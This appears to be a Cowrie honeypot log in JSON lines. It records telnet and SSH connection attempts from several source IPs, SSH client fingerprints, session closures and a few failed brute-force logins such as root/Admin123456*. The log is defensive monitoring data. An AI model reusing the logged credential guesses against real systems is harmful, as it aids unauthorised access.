{"eventid":"cowrie.session.closed","duration":30.538703680038452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:02.093106Z","src_ip":"149.255.39.70","session":"c5f3c49bdedc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":44386,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0b95c8bb00e","protocol":"telnet","message":"New connection: 149.255.39.70:44386 (10.17.0.5:23) [session: e0b95c8bb00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:02.144314Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":44372,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a86b24a9f73","protocol":"telnet","message":"New connection: 149.255.39.70:44372 (10.17.0.5:23) [session: 3a86b24a9f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:02.273882Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":44394,"dst_ip":"10.17.0.5","dst_port":23,"session":"3af80a8b1c75","protocol":"telnet","message":"New connection: 149.255.39.70:44394 (10.17.0.5:23) [session: 3af80a8b1c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:03.461960Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":44404,"dst_ip":"10.17.0.5","dst_port":23,"session":"248c410a6188","protocol":"telnet","message":"New connection: 149.255.39.70:44404 (10.17.0.5:23) [session: 248c410a6188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:03.600900Z"}
{"eventid":"cowrie.session.closed","duration":30.814733743667603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:05.053643Z","src_ip":"149.255.39.70","session":"a247d5748215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.340182065963745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:06.088585Z","src_ip":"45.77.199.58","session":"dfc8476532e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60558,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bbc3d8de321","protocol":"ssh","message":"New connection: 159.203.92.129:60558 (159.203.135.109:22) [session: 2bbc3d8de321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:06.103821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:06.110213Z","src_ip":"159.203.92.129","session":"2bbc3d8de321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:06.117721Z","src_ip":"159.203.92.129","session":"2bbc3d8de321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"server","message":"login attempt [adminroot/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:06.139534Z","src_ip":"159.203.92.129","session":"2bbc3d8de321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":59724,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c500849f0d6","protocol":"telnet","message":"New connection: 45.77.199.58:59724 (10.17.0.5:23) [session: 1c500849f0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:07.166044Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:07.174652Z","src_ip":"159.203.92.129","session":"2bbc3d8de321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.918535947799683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:09.017871Z","src_ip":"45.77.199.58","session":"54d37a0ac26b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05765652656555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:10.072326Z","src_ip":"149.255.39.70","session":"41539305611b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":43254,"dst_ip":"159.203.135.109","dst_port":22,"session":"63b5b529345d","protocol":"ssh","message":"New connection: 45.232.73.84:43254 (159.203.135.109:22) [session: 63b5b529345d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:11.943961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:11.948839Z","src_ip":"45.232.73.84","session":"63b5b529345d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:12.079152Z","src_ip":"45.232.73.84","session":"63b5b529345d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.372983932495117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:12.122885Z","src_ip":"149.255.39.70","session":"90c6a6e09e6d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123456*","message":"login attempt [root/Admin123456*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:12.587682Z","src_ip":"45.232.73.84","session":"63b5b529345d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:13.721211Z","src_ip":"45.232.73.84","session":"63b5b529345d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73046875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:15.034532Z","src_ip":"149.255.39.70","session":"b6cda67d494f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":53130,"dst_ip":"10.17.0.5","dst_port":23,"session":"939996443613","protocol":"telnet","message":"New connection: 149.255.39.70:53130 (10.17.0.5:23) [session: 939996443613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:15.435870Z"}
{"eventid":"cowrie.session.closed","duration":30.942172288894653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:16.101923Z","src_ip":"64.237.60.107","session":"15fe5c5933f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913594007492065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:16.143286Z","src_ip":"45.77.199.58","session":"7f778827c2d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":53140,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58a5b4f169d","protocol":"telnet","message":"New connection: 149.255.39.70:53140 (10.17.0.5:23) [session: b58a5b4f169d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:16.492310Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":35494,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8af72ccc75a","protocol":"telnet","message":"New connection: 45.77.199.58:35494 (10.17.0.5:23) [session: e8af72ccc75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:17.297444Z"}
{"eventid":"cowrie.session.closed","duration":31.07292866706848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:18.205046Z","src_ip":"149.255.39.70","session":"0c27771de7ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.531813144683838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:19.088893Z","src_ip":"149.255.39.70","session":"d7f20ae1ff91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.974611282348633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:19.270760Z","src_ip":"149.255.39.70","session":"78c9232dd802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":35508,"dst_ip":"10.17.0.5","dst_port":23,"session":"55614ed3a520","protocol":"telnet","message":"New connection: 45.77.199.58:35508 (10.17.0.5:23) [session: 55614ed3a520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:19.359686Z"}
{"eventid":"cowrie.session.closed","duration":30.28591251373291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:23.057162Z","src_ip":"149.255.39.70","session":"6268c7150f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.799015998840332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:23.947550Z","src_ip":"149.255.39.70","session":"4e2eb60824d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866218090057373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:25.033916Z","src_ip":"45.77.199.58","session":"cff620bb725b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52740,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc90ad22dbc7","protocol":"telnet","message":"New connection: 45.77.199.58:52740 (10.17.0.5:23) [session: fc90ad22dbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:25.172004Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":53142,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c141d272c9c","protocol":"telnet","message":"New connection: 149.255.39.70:53142 (10.17.0.5:23) [session: 0c141d272c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:25.320936Z"}
{"eventid":"cowrie.session.closed","duration":30.580583810806274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:28.116560Z","src_ip":"149.255.39.70","session":"8d52f8c657ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746421813964844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:28.260347Z","src_ip":"64.237.60.107","session":"e861b0f9a11d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":41894,"dst_ip":"10.17.0.5","dst_port":23,"session":"306bc4a9719e","protocol":"telnet","message":"New connection: 149.255.39.70:41894 (10.17.0.5:23) [session: 306bc4a9719e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:29.383303Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":41898,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc88c9b795f","protocol":"telnet","message":"New connection: 149.255.39.70:41898 (10.17.0.5:23) [session: 6bc88c9b795f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:30.586553Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52744,"dst_ip":"10.17.0.5","dst_port":23,"session":"35da85212eb6","protocol":"telnet","message":"New connection: 45.77.199.58:52744 (10.17.0.5:23) [session: 35da85212eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:32.254910Z"}
{"eventid":"cowrie.session.closed","duration":30.956589460372925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:33.230322Z","src_ip":"149.255.39.70","session":"3a86b24a9f73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.382683992385864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:33.526791Z","src_ip":"149.255.39.70","session":"e0b95c8bb00e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60241436958313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:34.064256Z","src_ip":"149.255.39.70","session":"3af80a8b1c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.481167554855347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:34.081876Z","src_ip":"149.255.39.70","session":"248c410a6188","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907600164413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:38.073514Z","src_ip":"45.77.199.58","session":"1c500849f0d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.641138553619385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:46.076877Z","src_ip":"149.255.39.70","session":"939996443613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57991886138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:47.072115Z","src_ip":"149.255.39.70","session":"b58a5b4f169d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":54726,"dst_ip":"10.17.0.5","dst_port":23,"session":"97f5cad18587","protocol":"telnet","message":"New connection: 149.255.39.70:54726 (10.17.0.5:23) [session: 97f5cad18587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:47.442017Z"}
{"eventid":"cowrie.session.closed","duration":30.72955298423767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:48.026882Z","src_ip":"45.77.199.58","session":"e8af72ccc75a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38934,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a1f4275ab9a","protocol":"ssh","message":"New connection: 159.203.92.129:38934 (159.203.135.109:22) [session: 0a1f4275ab9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:48.568179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:48.573042Z","src_ip":"159.203.92.129","session":"0a1f4275ab9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:48.578153Z","src_ip":"159.203.92.129","session":"0a1f4275ab9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"test","message":"login attempt [adminroot/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:48.596058Z","src_ip":"159.203.92.129","session":"0a1f4275ab9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:49.605185Z","src_ip":"159.203.92.129","session":"0a1f4275ab9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72731065750122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:50.086838Z","src_ip":"45.77.199.58","session":"55614ed3a520","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":54742,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c3aa14a65bb","protocol":"telnet","message":"New connection: 149.255.39.70:54742 (10.17.0.5:23) [session: 0c3aa14a65bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:53.118304Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":54746,"dst_ip":"10.17.0.5","dst_port":23,"session":"4270d03dde41","protocol":"telnet","message":"New connection: 149.255.39.70:54746 (10.17.0.5:23) [session: 4270d03dde41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:54.598532Z"}
{"eventid":"cowrie.session.closed","duration":30.851503610610962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:56.023357Z","src_ip":"45.77.199.58","session":"fc90ad22dbc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715510368347168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:56.036321Z","src_ip":"149.255.39.70","session":"0c141d272c9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":48068,"dst_ip":"10.17.0.5","dst_port":23,"session":"384e82246f81","protocol":"telnet","message":"New connection: 149.255.39.70:48068 (10.17.0.5:23) [session: 384e82246f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:57.573157Z"}
{"eventid":"cowrie.session.closed","duration":31.254507064819336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:00.637653Z","src_ip":"149.255.39.70","session":"306bc4a9719e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58165669441223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:01.168040Z","src_ip":"149.255.39.70","session":"6bc88c9b795f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765000343322754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:03.019805Z","src_ip":"45.77.199.58","session":"35da85212eb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":60248,"dst_ip":"159.203.135.109","dst_port":22,"session":"525100931db0","protocol":"ssh","message":"New connection: 45.232.73.84:60248 (159.203.135.109:22) [session: 525100931db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:13.793230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:18:13.807597Z","src_ip":"45.232.73.84","session":"525100931db0","protocol":"ssh"}
